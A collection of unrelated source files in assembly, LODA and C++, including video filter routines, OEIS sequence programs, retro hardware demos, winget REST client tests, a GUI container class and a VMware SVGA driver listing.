hfilter_8 v4, 1
hfilter_8 v5, 1
hfilter_8 v6, 1
hfilter_8 v7, 1
;# Finished filtering main horizontal block. If there is no
;# vertical filtering, jump to storing the data. Otherwise
;# load up and filter the additional line that is needed
;# for the vertical filter.
beq store_out_8x8_b
hfilter_8 v8, 0
b second_pass_8x8_b
second_pass_8x8_pre_copy_b:
slwi r6, r6, 5 ;# index into vertical filter array
load_and_align_8 v0, 1
load_and_align_8 v1, 1
load_and_align_8 v2, 1
load_and_align_8 v3, 1
load_and_align_8 v4, 1
load_and_align_8 v5, 1
load_and_align_8 v6, 1
load_and_align_8 v7, 1
load_and_align_8 v8, 0
second_pass_8x8_b:
vspltish v20, 8
vspltish v18, 3
vslh v18, v20, v18 ;# 0x0040 0040 0040 0040 0040 0040 0040 0040
load_vfilter v20, v21
vfilter_16 v0, v1
vfilter_16 v1, v2
vfilter_16 v2, v3
vfilter_16 v3, v4
vfilter_16 v4, v5
vfilter_16 v5, v6
vfilter_16 v6, v7
vfilter_16 v7, v8
store_out_8x8_b:
cmpi cr0, r8, 8
beq cr0, store_aligned_8x8_b
w_8x8 v0, r7, r0, r8
w_8x8 v1, r7, r0, r8
w_8x8 v2, r7, r0, r8
w_8x8 v3, r7, r0, r8
w_8x8 v4, r7, r0, r8
w_8x8 v5, r7, r0, r8
w_8x8 v6, r7, r0, r8
w_8x8 v7, r7, r0, r8
b exit_8x8
store_aligned_8x8_b:
load_c v10, b_hilo_b, 0, r9, r10
vperm v0, v0, v1, v10
vperm v2, v2, v3, v10
vperm v4, v4, v5, v10
vperm v6, v6, v7, v10
stvx v0, 0, r7
addi r7, r7, 16
stvx v2, 0, r7
addi r7, r7, 16
stvx v4, 0, r7
addi r7, r7, 16
stvx v6, 0, r7
exit_8x8:
addi r1, r1, 32 ;# recover stack
mtspr 256, r11 ;# reset old VRSAVE
blr
;# Filters a horizontal line
;# expects:
;# r3 src_ptr
;# r4 pitch
;# r10 16
;# r12 32
;# v17 perm intput
;# v18 rounding
;# v19 shift
;# v20 filter taps
;# v21 tmp
;# v22 tmp
;# v23 tmp
;# v24 tmp
;# v25 tmp
;# v26 tmp
;# v27 tmp
;# v28 perm output
;#
.macro hfilter_16 V, increment_counter
lvsl v17, 0, r3 ;# permutate value for alignment
;# input to filter is 21 bytes wide, output is 16 bytes.
;# input will can span three vectors if not aligned correctly.
lvx v21, 0, r3
lvx v22, r10, r3
lvx v23, r12, r3
.if \increment_counter
add r3, r3, r4
.endif
vperm v21, v21, v22, v17
vperm v22, v22, v23, v17 ;# v8 v9 = 21 input pixels left-justified
;# set 0
vmsummbm v24, v20, v21, v18 ;# taps times elements
;# set 1
vsldoi v23, v21, v22, 1
vmsummbm v25, v20, v23, v18
;# set 2
vsldoi v23, v21, v22, 2
vmsummbm v26, v20, v23, v18
;# set 3
vsldoi v23, v21, v22, 3
vmsummbm v27, v20, v23, v18
vpkswus v24, v24, v25 ;# v24 = 0 4 8 C 1 5 9 D (16-bit)
vpkswus v25, v26, v27 ;# v25 = 2 6 A E 3 7 B F
vsrh v24, v24, v19 ;# divide v0, v1 by 128
vsrh v25, v25, v19
vpkuhus \V, v24, v25 ;# \V = scrambled 8-bit result
vperm \V, \V, v0, v28 ;# \V = correctly-ordered result
.endm
.macro load_and_align_16 V, increment_counter
lvsl v17, 0, r3 ;# permutate value for alignment
;# input to filter is 21 bytes wide, output is 16 bytes.
;# input will can span three vectors if not aligned correctly.
lvx v21, 0, r3
lvx v22, r10, r3
.if \increment_counter
add r3, r3, r4
.endif
vperm \V, v21, v22, v17
.endm
.macro write_16 V, increment_counter
stvx \V, 0, r7
.if \increment_counter
add r7, r7, r8
.endif
.endm
.align 2
;# r3 unsigned char * src
;# r4 int src_pitch
;# r5 int x_offset
;# r6 int y_offset
;# r7 unsigned char * dst
;# r8 int dst_pitch
bilinear_predict16x16_ppc:
mfspr r11, 256 ;# get old VRSAVE
oris r12, r11, 0xffff
ori r12, r12, 0xfff8
mtspr 256, r12 ;# set VRSAVE
HProlog second_pass_16x16_pre_copy_b
hfilter_16 v0, 1
hfilter_16 v1, 1
hfilter_16 v2, 1
hfilter_16 v3, 1
hfilter_16 v4, 1
hfilter_16 v5, 1
hfilter_16 v6, 1
hfilter_16 v7, 1
hfilter_16 v8, 1
hfilter_16 v9, 1
hfilter_16 v10, 1
hfilter_16 v11, 1
hfilter_16 v12, 1
hfilter_16 v13, 1
hfilter_16 v14, 1
hfilter_16 v15, 1
;# Finished filtering main horizontal block. If there is no
;# vertical filtering, jump to storing the data. Otherwise
;# load up and filter the additional line that is needed
;# for the vertical filter.
beq store_out_16x16_b
hfilter_16 v16, 0
b second_pass_16x16_b
second_pass_16x16_pre_copy_b:
slwi r6, r6, 5 ;# index into vertical filter array
load_and_align_16 v0, 1
load_and_align_16 v1, 1
load_and_align_16 v2, 1
load_and_align_16 v3, 1
load_and_align_16 v4, 1
load_and_align_16 v5, 1
load_and_align_16 v6, 1
load_and_align_16 v7, 1
load_and_align_16 v8, 1
load_and_align_16 v9, 1
load_and_align_16 v10, 1
load_and_align_16 v11, 1
load_and_align_16 v12, 1
load_and_align_16 v13, 1
load_and_align_16 v14, 1
load_and_align_16 v15, 1
load_and_align_16 v16, 0
second_pass_16x16_b:
vspltish v20, 8
vspltish v18, 3
vslh v18, v20, v18 ;# 0x0040 0040 0040 0040 0040 0040 0040 0040
load_vfilter v20, v21
vfilter_16 v0, v1
vfilter_16 v1, v2
vfilter_16 v2, v3
vfilter_16 v3, v4
vfilter_16 v4, v5
vfilter_16 v5, v6
vfilter_16 v6, v7
vfilter_16 v7, v8
vfilter_16 v8, v9
vfilter_16 v9, v10
vfilter_16 v10, v11
vfilter_16 v11, v12
vfilter_16 v12, v13
vfilter_16 v13, v14
vfilter_16 v14, v15
vfilter_16 v15, v16
store_out_16x16_b:
write_16 v0, 1
write_16 v1, 1
write_16 v2, 1
write_16 v3, 1
write_16 v4, 1
write_16 v5, 1
write_16 v6, 1
write_16 v7, 1
write_16 v8, 1
write_16 v9, 1
write_16 v10, 1
write_16 v11, 1
write_16 v12, 1
write_16 v13, 1
write_16 v14, 1
write_16 v15, 0
mtspr 256, r11 ;# reset old VRSAVE
blr
.data
.align 4
hfilter_b:
.byte 128, 0, 0, 0,128, 0, 0, 0,128, 0, 0, 0,128, 0, 0, 0
.byte 112, 16, 0, 0,112, 16, 0, 0,112, 16, 0, 0,112, 16, 0, 0
.byte 96, 32, 0, 0, 96, 32, 0, 0, 96, 32, 0, 0, 96, 32, 0, 0
.byte 80, 48, 0, 0, 80, 48, 0, 0, 80, 48, 0, 0, 80, 48, 0, 0
.byte 64, 64, 0, 0, 64, 64, 0, 0, 64, 64, 0, 0, 64, 64, 0, 0
.byte 48, 80, 0, 0, 48, 80, 0, 0, 48, 80, 0, 0, 48, 80, 0, 0
.byte 32, 96, 0, 0, 32, 96, 0, 0, 32, 96, 0, 0, 32, 96, 0, 0
.byte 16,112, 0, 0, 16,112, 0, 0, 16,112, 0, 0, 16,112, 0, 0
.align 4
vfilter_b:
.byte 128,128,128,128,128,128,128,128,128,128,128,128,128,128,128,128
.byte 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.byte 112,112,112,112,112,112,112,112,112,112,112,112,112,112,112,112
.byte 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
.byte 96, 96, 96, 96, 96, 96, 96, 96, 96, 96, 96, 96, 96, 96, 96, 96
.byte 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32
.byte 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80
.byte 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48
.byte 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64
.byte 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64
.byte 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48
.byte 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80
.byte 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32
.byte 96, 96, 96, 96, 96, 96, 96, 96, 96, 96, 96, 96, 96, 96, 96, 96
.byte 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16
.byte 112,112,112,112,112,112,112,112,112,112,112,112,112,112,112,112
.align 4
b_hperm_b:
.byte 0, 4, 8, 12, 1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15
.align 4
b_0123_b:
.byte 0, 1, 2, 3, 1, 2, 3, 4, 2, 3, 4, 5, 3, 4, 5, 6
.align 4
b_4567_b:
.byte 4, 5, 6, 7, 5, 6, 7, 8, 6, 7, 8, 9, 7, 8, 9, 10
b_hilo_b:
.byte 0, 1, 2, 3, 4, 5, 6, 7, 16, 17, 18, 19, 20, 21, 22, 23
|
; A005894: Centered tetrahedral numbers.
; 1,5,15,35,69,121,195,295,425,589,791,1035,1325,1665,2059,2511,3025,3605,4255,4979,5781,6665,7635,8695,9849,11101,12455,13915,15485,17169,18971,20895,22945,25125,27439,29891,32485,35225,38115,41159,44361,47725,51255,54955,58829,62881,67115,71535,76145,80949,85951,91155,96565,102185,108019,114071,120345,126845,133575,140539,147741,155185,162875,170815,179009,187461,196175,205155,214405,223929,233731,243815,254185,264845,275799,287051,298605,310465,322635,335119,347921,361045,374495,388275,402389,416841,431635,446775,462265,478109,494311,510875,527805,545105,562779,580831,599265,618085,637295,656899,676901,697305,718115,739335,760969,783021,805495,828395,851725,875489,899691,924335,949425,974965,1000959,1027411,1054325,1081705,1109555,1137879,1166681,1195965,1225735,1255995,1286749,1318001,1349755,1382015,1414785,1448069,1481871,1516195,1551045,1586425,1622339,1658791,1695785,1733325,1771415,1810059,1849261,1889025,1929355,1970255,2011729,2053781,2096415,2139635,2183445,2227849,2272851,2318455,2364665,2411485,2458919,2506971,2555645,2604945,2654875,2705439,2756641,2808485,2860975,2914115,2967909,3022361,3077475,3133255,3189705,3246829,3304631,3363115,3422285,3482145,3542699,3603951,3665905,3728565,3791935,3856019,3920821,3986345,4052595,4119575,4187289,4255741,4324935,4394875,4465565,4537009,4609211,4682175,4755905,4830405,4905679,4981731,5058565,5136185,5214595,5293799,5373801,5454605,5536215,5618635,5701869,5785921,5870795,5956495,6043025,6130389,6218591,6307635,6397525,6488265,6579859,6672311,6765625,6859805,6954855,7050779,7147581,7245265,7343835,7443295,7543649,7644901,7747055,7850115,7954085,8058969,8164771,8271495,8379145,8487725,8597239,8707691,8819085,8931425,9044715,9158959,9274161,9390325,9507455,9625555,9744629,9864681,9985715,10107735,10230745,10354749
mov $2,$0
add $0,4
bin $0,$2
bin $2,4
sub $0,$2
mov $1,$0
|
;
; MC6847 All ASCII CHAR List
; for SBC6800+SBC Adapter
;
CPU 6800
TARGET: equ "MC6800"
org $0100
;
VRAM_TOP EQU $C000
VRAM_END EQU $C200
SPC EQU $20
;
VDG_MODE EQU %00000000
VDG_CTL_AD EQU $8110
;
MAIN:
JSR VDG_INIT
JSR VRAM_CLR
JSR CHAR_PRINT
SWI
;
; MC6747初期化
;
VDG_INIT:
LDAA #VDG_MODE
STAA VDG_CTL_AD
RTS
;
; VRAMクリア
;
VRAM_CLR:
LDX #VRAM_TOP
LDAA #SPC
VRAM_CLR_LOOP:
STAA 0,X
INX
CPX #VRAM_END
BNE VRAM_CLR_LOOP
RTS
;
; 全キャラクター表示
;
CHAR_PRINT:
LDX #VRAM_TOP
LDAA #0
CHAR_PRINT_LOOP:
STAA 0,X
INCA
INX
CPX #VRAM_END
BNE CHAR_PRINT_LOOP
RTS
;
END |
.MODEL SMALL
.STACK 100H
.DATA
NUM1 DB ?
NUM2 DB ?
RESULT DB ?
MSG1 DB 10,13,"ENTER FIRST NUMBER TO MULTIPLY : $"
MSG2 DB 10,13,"ENTER SECOND NUMBER TO MULTIPLY : $"
MSG3 DB 10,13,"RESULT OF MULTIPLICATION IS : $"
.CODE
MAIN PROC
ASSUME DS:DATA CS:CODE
MOV AX,DATA
MOV DS,AX
LEA DX,MSG1
MOV AH,9
INT 21H
MOV AH,1
INT 21H
SUB AL,30H
MOV NUM1,AL
LEA DX,MSG2
MOV AH,9
INT 21H
MOV AH,1
INT 21H
SUB AL,30H
MOV NUM2,AL
MUL NUM1
MOV RESULT,AL
ADD AH,30H
ADD AL,30H
MOV BX,AX
LEA DX,MSG3
MOV AH,9
INT 21H
MOV AH,2
MOV DL,BH
INT 21H
MOV AH,2
MOV DL,BL
INT 21H
MOV AH,4CH
INT 21H
MOV CX,15
CMP BX,CX
JG Greater
Greater:MOV DL,1
MOV DL,'A'
MOV AH,2
INT 21H
JL Less
Less:
MOV DL,0
MOV DL,'A'
MOV AH,2
INT 21H
MAIN ENDP
END MAIN
|
// Module name: AVS
.kernel PL3_TO_PL3
.code
#include "VP_Setup.g4a"
#include "Set_Layer_0.g4a"
#include "Set_AVS_Buf_0123_PL3.g4a"
#include "PL3_AVS_Buf_0.g4a"
#include "PL3_AVS_Buf_1.g4a"
#include "PL3_AVS_Buf_2.g4a"
#include "PL3_AVS_Buf_3.g4a"
#include "Save_AVS_PL3.g4a"
#include "EOT.g4a"
.end_code
.end_kernel
|
// Copyright (c) Microsoft Corporation.
// Licensed under the MIT License.
#include "pch.h"
#include "TestCommon.h"
#include "TestRestRequestHandler.h"
#include <Rest/RestClient.h>
#include <Rest/Schema/IRestClient.h>
#include <AppInstallerVersions.h>
#include <set>
#include <AppInstallerErrors.h>
using namespace AppInstaller;
using namespace AppInstaller::Utility;
using namespace AppInstaller::Repository::Rest;
using namespace AppInstaller::Repository::Rest::Schema;
const utility::string_t TestRestUri = L"http://restsource.net";
TEST_CASE("GetLatestCommonVersion", "[RestSource]")
{
std::set<AppInstaller::Utility::Version> wingetSupportedContracts = { Version {"1.0.0"}, Version {"1.2.0"} };
std::vector<std::string> versions{ "1.0.0", "2.0.0", "1.2.0" };
IRestClient::Information info{ "SourceIdentifier", std::move(versions) };
std::optional<Version> actual = RestClient::GetLatestCommonVersion(info, wingetSupportedContracts);
REQUIRE(actual);
REQUIRE(actual.value().ToString() == "1.2.0");
}
TEST_CASE("GetLatestCommonVersion_UnsupportedVersion", "[RestSource]")
{
std::set<AppInstaller::Utility::Version> wingetSupportedContracts = { Version {"3.0.0"}, Version {"4.2.0"} };
std::vector<std::string> versions{ "1.0.0", "2.0.0" };
IRestClient::Information info{ "SourceIdentifier", std::move(versions) };
std::optional<Version> actual = RestClient::GetLatestCommonVersion(info, wingetSupportedContracts);
REQUIRE(!actual);
}
TEST_CASE("GetSupportedInterface", "[RestSource]")
{
Version version{ "1.0.0" };
REQUIRE(RestClient::GetSupportedInterface(utility::conversions::to_utf8string(TestRestUri), {}, version)->GetVersion() == version);
Version invalid{ "1.2.0" };
REQUIRE_THROWS(RestClient::GetSupportedInterface(utility::conversions::to_utf8string(TestRestUri), {}, invalid));
}
TEST_CASE("GetInformation_Success", "[RestSource]")
{
utility::string_t sample = _XPLATSTR(
R"delimiter({
"Data" : {
"SourceIdentifier": "Source123",
"ServerSupportedVersions": [
"0.2.0",
"1.0.0"]
}})delimiter");
HttpClientHelper helper{ GetTestRestRequestHandler(web::http::status_codes::OK, sample) };
IRestClient::Information information = RestClient::GetInformation(TestRestUri, {}, std::move(helper));
REQUIRE(information.SourceIdentifier == "Source123");
REQUIRE(information.ServerSupportedVersions.size() == 2);
REQUIRE(information.ServerSupportedVersions.at(0) == "0.2.0");
REQUIRE(information.ServerSupportedVersions.at(1) == "1.0.0");
}
TEST_CASE("RestClientCreate_UnexpectedVersion", "[RestSource]")
{
utility::string_t sample = _XPLATSTR(
R"delimiter({
"Data" : {
"SourceIdentifier": "Source123",
"ServerSupportedVersions": [
"1.2.0",
"2.0.0"]
}})delimiter");
HttpClientHelper helper{ GetTestRestRequestHandler(web::http::status_codes::OK, sample) };
REQUIRE_THROWS_HR(RestClient::Create("https://restsource.com/api", {}, std::move(helper)),
APPINSTALLER_CLI_ERROR_UNSUPPORTED_RESTSOURCE);
}
TEST_CASE("RestClientCreate_Success", "[RestSource]")
{
utility::string_t sample = _XPLATSTR(
R"delimiter({
"Data" : {
"SourceIdentifier": "Source123",
"ServerSupportedVersions": [
"1.0.0",
"2.0.0"]
}})delimiter");
HttpClientHelper helper{ GetTestRestRequestHandler(web::http::status_codes::OK, sample) };
RestClient client = RestClient::Create(utility::conversions::to_utf8string(TestRestUri), {}, std::move(helper));
REQUIRE(client.GetSourceIdentifier() == "Source123");
}
|
; int zx_setint(char *variable, int value)
; CALLER linkage for function pointers
SECTION code_clib
PUBLIC zx_setint
PUBLIC _zx_setint
EXTERN asm_zx_setint
.zx_setint
._zx_setint
pop bc
pop de
pop hl
push hl
push de
push bc
jp asm_zx_setint
|
; A158373: 625n^2 - 2n.
; 623,2496,5619,9992,15615,22488,30611,39984,50607,62480,75603,89976,105599,122472,140595,159968,180591,202464,225587,249960,275583,302456,330579,359952,390575,422448,455571,489944,525567,562440,600563,639936,680559,722432,765555,809928,855551,902424,950547,999920,1050543,1102416,1155539,1209912,1265535,1322408,1380531,1439904,1500527,1562400,1625523,1689896,1755519,1822392,1890515,1959888,2030511,2102384,2175507,2249880,2325503,2402376,2480499,2559872,2640495,2722368,2805491,2889864,2975487
mov $1,$0
add $0,1
mul $0,25
pow $0,2
mul $1,2
sub $0,$1
sub $0,2
|
.include "defaults_item.asm"
table_file_jp equ "exe5-utf8.tbl"
table_file_en equ "bn5-utf8.tbl"
game_code_len equ 3
game_code equ 0x4252424A // BRBJ
game_code_2 equ 0x42524245 // BRBE
game_code_3 equ 0x42524250 // BRBP
card_type equ 0
card_id equ 12
card_no equ "012"
card_sub equ "Item Card 012"
card_sub_x equ 62
card_desc_len equ 2
card_desc_1 equ "Viddy Narcy's"
card_desc_2 equ "Costume Fees"
card_desc_3 equ ""
card_name_jp_full equ "ナルシー・ヒデの衣装代"
card_name_jp_game equ "ナルシー・ヒデのいしょうだい"
card_name_en_full equ "Viddy's Narcy Costume Fees"
card_name_en_game equ "Viddy's Narcy Costume Fees"
card_game_desc_jp_len equ 2
card_game_desc_jp_1 equ "ナルシー・ヒデのいしょうだい!"
card_game_desc_jp_2 equ "8000Zを手に入れた!"
card_game_desc_jp_3 equ ""
card_game_desc_en_len equ 3
card_game_desc_en_1 equ "Viddy Narcy's"
card_game_desc_en_2 equ "costume fees!"
card_game_desc_en_3 equ "Got 8000 Zennys!" |
/**
* @copyright (c) 2015-2021 Ing. Buero Rothfuss
* Riedlinger Str. 8
* 70327 Stuttgart
* Germany
* http://www.rothfuss-web.de
*
* @author <a href="mailto:armin@rothfuss-web.de">Armin Rothfuss</a>
*
* Project gui++ lib
*
* @brief container window to host client windows
*
* @license MIT license. See accompanying file LICENSE.
*/
// --------------------------------------------------------------------------
//
// Common includes
//
// --------------------------------------------------------------------------
//
// Library includes
//
#include <util/ostreamfmt.h>
#include <gui/win/container.h>
#include <gui/win/native.h>
namespace gui {
namespace win {
namespace {
template<typename T>
struct reverse_ {
explicit reverse_ (T& iterable)
: iterable{iterable}
{}
inline auto begin() const {
return std::rbegin(iterable);
}
inline auto end() const {
return std::rend(iterable);
}
private:
T& iterable;
};
template<typename T>
inline reverse_<T> reverse (T& t) {
return reverse_<T>(t);
}
}
// --------------------------------------------------------------------------
container::container ()
{}
container::container (const container& rhs)
: super(rhs)
{}
container::container (container&& rhs) noexcept
: super(std::move(rhs))
// , children(std::move(rhs.children))
{
// for(auto& w : rhs.children) {
// w->set_parent(*this);
// }
}
container::~container () {
for(window* win : children) {
win->remove_parent();
}
}
bool container::is_parent_of (const window& child) const {
return child.get_parent() == this;
}
bool container::is_sub_window (const window* child) const {
if (!child) {
return false;
}
if (child == this) {
return true;
}
return is_sub_window(child->get_parent());
}
void container::set_children_visible (bool show) {
for(window* win : children) {
win->set_visible(show);
}
}
container::window_list_t container::get_children () const {
return children;
}
void container::collect_children (window_list_t& list, const std::function<window_filter>& filter) const {
for (window* win : children) {
if (filter(win)) {
list.push_back(win);
const container* cont = dynamic_cast<const container*>(win);
if (cont) {
cont->collect_children(list, filter);
}
}
}
}
void container::add (window* w) {
if (w) {
auto i = std::find(children.begin(), children.end(), w);
if (i == children.end()) {
children.push_back(w);
invalidate();
}
}
}
void container::add (std::vector<std::reference_wrapper<win::window>> list) {
for (auto& w : list) {
add(&(w.get()));
}
super::on_create([&, list] () {
for (auto& w : list) {
w.get().create(*this);
}
});
}
void container::remove (window* w) {
children.erase(std::remove(children.begin(), children.end(), w), children.end());
}
window* container::window_at_point (const core::native_point& pt) {
for (window* w : reverse(children)) {
auto state = w->get_state();
if (state.created() && state.visible() && state.enabled() && !state.overlapped() && w->surface_geometry().is_inside(pt)) {
container* cont = dynamic_cast<container*>(w);
if (cont) {
return cont->window_at_point(pt);
}
return w;
}
}
return this;
}
void container::to_front (window* w) {
remove(w);
children.push_back(w);
invalidate();
}
void container::to_back (window* w) {
remove(w);
children.insert(children.begin(), w);
invalidate();
}
void container::invalidate (const core::native_rect& r) {
if (is_valid() && is_visible()) {
get_parent()->invalidate(r & surface_geometry());
}
}
bool container::handle_event (const core::event& e, gui::os::event_result& r) {
if (paint_event::match(e)) {
core::context* cntxt = paint_event::Caller::get_param<0>(e);
const core::native_rect* clip_rect = paint_event::Caller::get_param<1>(e);
bool ret = false;
if (cntxt && clip_rect) {
const auto geo = surface_geometry();
cntxt->set_offset(geo.x(), geo.y());
ret = super::handle_event(e, r);
for (auto& w : children) {
if (w && w->is_valid()) {
const auto rect = w->surface_geometry();
if (!clip_rect || (clip_rect->overlap(rect))) {
const auto state = w->get_state();
if (state.created() && state.visible() && !state.overlapped()) {
const auto crc = rect & *clip_rect;
core::clip clp(*cntxt, crc);
native::erase(cntxt->drawable(), cntxt->graphics(), crc, w->get_background());
cntxt->set_offset(rect.x(), rect.y());
ret |= w->handle_event(e, r);
}
}
}
}
}
return ret;
}
return super::handle_event(e, r);;
}
os::event_id container::collect_event_mask () const {
os::event_id mask = get_event_mask();
for (auto& w : children) {
if (!w->get_state().overlapped()) {
mask |= w->collect_event_mask();
}
}
return mask;
}
// --------------------------------------------------------------------------
} // win
} // gui
|
; A134393: Row sums of triangle A134392.
; 1,3,8,20,45,91,168,288,465,715,1056,1508,2093,2835,3760,4896,6273,7923,9880,12180,14861,17963,21528,25600,30225,35451,41328,47908,55245,63395,72416,82368,93313,105315,118440,132756,148333,165243,183560,203360,224721,247723,272448,298980,327405,357811,390288,424928,461825,501075,542776,587028,633933,683595,736120,791616,850193,911963,977040,1045540,1117581,1193283,1272768,1356160,1443585,1535171,1631048,1731348,1836205,1945755,2060136,2179488,2303953,2433675,2568800,2709476,2855853,3008083
add $0,1
mov $1,$0
bin $1,3
add $1,$0
add $0,1
mul $0,$1
div $0,2
|
; A272756: a(n) is the least k such that k > A070939(n * k).
; 3,5,5,6,6,7,7,7,7,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13
add $0,1
mov $2,$0
mul $2,2
mov $1,$2
lpb $1
mul $1,$2
log $1,2
lpe
add $1,1
|
; Listing generated by Microsoft (R) Optimizing Compiler Version 17.00.50727.1
include listing.inc
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
PUBLIC ?svga_dev@@3U_svga_drive_@@A ; svga_dev
_BSS SEGMENT
?svga_dev@@3U_svga_drive_@@A DB 0100060H DUP (?) ; svga_dev
_BSS ENDS
CONST SEGMENT
$SG5799 DB 'No VMware SVGA device found', 0aH, 00H
ORG $+3
$SG5809 DB '[VMware SVGA]: negotiating SVGA device version!', 0aH, 00H
ORG $+7
$SG5813 DB '[VMware SVGA]: FIFO size is very small, probably incorre'
DB 'ct', 0aH, 00H
$SG6119 DB 'svga', 00H
ORG $+7
$SG5811 DB '[VMware SVGA]: FrameBuffer size is very small, probably '
DB 'incorrect', 0aH, 00H
ORG $+5
$SG5817 DB 'Irq of svga -> %d', 0aH, 00H
ORG $+5
$SG5818 DB 'SVGA initialized', 0aH, 00H
ORG $+6
$SG5823 DB 'HW3D supported', 0aH, 00H
$SG5825 DB 'SVGA IRQMask', 0aH, 00H
ORG $+2
$SG5830 DB 'SVGA IRQ appears to be present but broken %d', 0aH, 00H
ORG $+2
$SG5844 DB '[Aurora]: Actual Fifo Reserve function called', 0aH, 00H
ORG $+1
$SG5849 DB '[Aurora]: Fifo memory acquired', 0aH, 00H
$SG5852 DB '[VMware SVGA]: FIFO command too large bytes', 0aH, 00H
ORG $+3
$SG5855 DB '[VMware SVGA]: FIFO command length not 32-bit aligned', 0aH
DB 00H
ORG $+1
$SG5857 DB '[VMware SVGA]: FIFO reserve before FIFO commit', 0aH, 00H
$SG5864 DB '[Aurora]: Stop -> %d', 0aH, 00H
ORG $+2
$SG5866 DB '[Aurora]: Debug Step[1]', 0aH, 00H
ORG $+7
$SG5892 DB '[VMware SVGA]: FIFO commit before FIFO reserve', 0aH, 00H
$SG5916 DB '[Aurora]: Fifo Reserved function called', 0aH, 00H
ORG $+7
$SG6073 DB 'SVGA interrupted', 0aH, 00H
ORG $+6
$SG6076 DB 'Irq flags -> %d', 0aH, 00H
ORG $+7
$SG6078 DB '[VMware SVGA]: spurious SVGA IRQ', 0aH, 00H
ORG $+6
$SG6120 DB '/dev/svga', 00H
CONST ENDS
PUBLIC ?svga_read_reg@@YAII@Z ; svga_read_reg
PUBLIC ?svga_write_reg@@YAXII@Z ; svga_write_reg
PUBLIC ?svga_is_fifo_reg_valid@@YA_NH@Z ; svga_is_fifo_reg_valid
PUBLIC ?svga_has_fifo_cap@@YA_NH@Z ; svga_has_fifo_cap
PUBLIC ?svga_init@@YAXXZ ; svga_init
PUBLIC ?svga_enable@@YAXXZ ; svga_enable
PUBLIC ?svga_disable@@YAXXZ ; svga_disable
PUBLIC ?svga_set_mode@@YAXIII@Z ; svga_set_mode
PUBLIC ?svga_fifo_full@@YAXXZ ; svga_fifo_full
PUBLIC ?svga_fifo_reserve@@YAPEAXI@Z ; svga_fifo_reserve
PUBLIC ?svga_fifo_commit@@YAXI@Z ; svga_fifo_commit
PUBLIC ?svga_fifo_commit_all@@YAXXZ ; svga_fifo_commit_all
PUBLIC ?svga_fifo_reserved_cmd@@YAPEAXII@Z ; svga_fifo_reserved_cmd
PUBLIC ?svga_fifo_reserve_escape@@YAPEAXII@Z ; svga_fifo_reserve_escape
PUBLIC ?svga_ring_doorbell@@YAXXZ ; svga_ring_doorbell
PUBLIC ?svga_alloc_gmr@@YAPEAXIPEAUSVGAGuestPtr@@@Z ; svga_alloc_gmr
PUBLIC ?svga_update@@YAXIIII@Z ; svga_update
PUBLIC ?svga_begin_define_cursor@@YAXPEBUSVGAFifoCmdDefineCursor@@PEAPEAX1@Z ; svga_begin_define_cursor
PUBLIC ?svga_begin_define_alpha_cursor@@YAXPEBUSVGAFifoCmdDefineAlphaCursor@@PEAPEAX@Z ; svga_begin_define_alpha_cursor
PUBLIC ?svga_move_cursor@@YAXIIII@Z ; svga_move_cursor
PUBLIC ?svga_begin_video_set_regs@@YAXIIPEAPEAUSVGAEscapeVideoSetRegs@@@Z ; svga_begin_video_set_regs
PUBLIC ?svga_video_set_all_regs@@YAXIPEAUSVGAOverlayUnit@@I@Z ; svga_video_set_all_regs
PUBLIC ?svga_video_set_reg@@YAXIII@Z ; svga_video_set_reg
PUBLIC ?svga_video_flush@@YAXI@Z ; svga_video_flush
PUBLIC ?svga_interrupt_handler@@YAX_KPEAX@Z ; svga_interrupt_handler
PUBLIC ?svga_panic@@YAXPEBD@Z ; svga_panic
PUBLIC ?svga_sync_to_fence@@YAXI@Z ; svga_sync_to_fence
PUBLIC ?svga_insert_fence@@YAIXZ ; svga_insert_fence
PUBLIC ?svga_wait_for_irq@@YAXXZ ; svga_wait_for_irq
PUBLIC ?svga_get_fb_mem@@YAPEAIXZ ; svga_get_fb_mem
PUBLIC ?svga_register_file@@YAXXZ ; svga_register_file
PUBLIC ?svga_has_fence_passed@@YA_NI@Z ; svga_has_fence_passed
PUBLIC ?svga_io_query@@YAHPEAU_vfs_node_@@HPEAX@Z ; svga_io_query
EXTRN x64_cli:PROC
EXTRN x64_sti:PROC
EXTRN ?inportd@@YAIG@Z:PROC ; inportd
EXTRN ?outportd@@YAXGI@Z:PROC ; outportd
EXTRN ?interrupt_end@@YAXI@Z:PROC ; interrupt_end
EXTRN ?pci_find_device_class@@YA_NEEPEATpci_device_info@@PEAH11@Z:PROC ; pci_find_device_class
EXTRN ?strcpy@@YAPEADPEADPEBD@Z:PROC ; strcpy
EXTRN ?memset@@YAXPEAXEI@Z:PROC ; memset
